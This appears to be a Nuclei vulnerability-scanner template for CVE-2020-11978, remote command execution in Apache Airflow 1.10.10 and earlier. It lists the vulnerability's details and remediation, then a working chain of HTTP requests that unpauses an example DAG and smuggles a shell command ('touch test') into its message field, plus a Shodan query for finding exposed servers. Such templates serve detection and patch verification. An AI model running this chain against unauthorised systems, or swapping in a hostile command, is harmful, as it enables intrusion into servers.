71 lines
2.7 KiB
YAML
71 lines
2.7 KiB
YAML
id: CVE-2020-11978
|
|
|
|
info:
|
|
name: Apache Airflow <=1.10.10 - Remote Code Execution
|
|
author: pdteam
|
|
severity: high
|
|
description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
|
remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
|
|
reference:
|
|
- https://github.com/pberba/CVE-2020-11978
|
|
- https://twitter.com/wugeej/status/1400336603604668418
|
|
- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
|
|
- http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2020-11978
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97156
|
|
epss-percentile: 0.99761
|
|
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 4
|
|
vendor: apache
|
|
product: airflow
|
|
shodan-query: http.html:"Apache Airflow" || title:"Airflow - DAGs"
|
|
tags: cve2020,cve,packetstorm,apache,airflow,rce,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /api/experimental/test HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
- |
|
|
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
- |
|
|
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/json
|
|
|
|
{"conf": {"message": "\"; touch test #"}}
|
|
- |
|
|
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_4, "operator":"BashOperator")'
|
|
- 'contains(header_4, "application/json")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: exec_date
|
|
group: 1
|
|
regex:
|
|
- '"execution_date":"([0-9-A-Z:+]+)"'
|
|
internal: true
|
|
part: body
|
|
# digest: 4a0a00473045022100de2fd0d83d1b4fcc2e8f3c514253e78a5b81135e5e898270806303dcca8f2a1702203c8d92e562c0312fe85dc2cb8cbc06c4f2b14a1d6b6c0efdb6cc91c30880924d:922c64590222798bb761d5b6d8e72950 |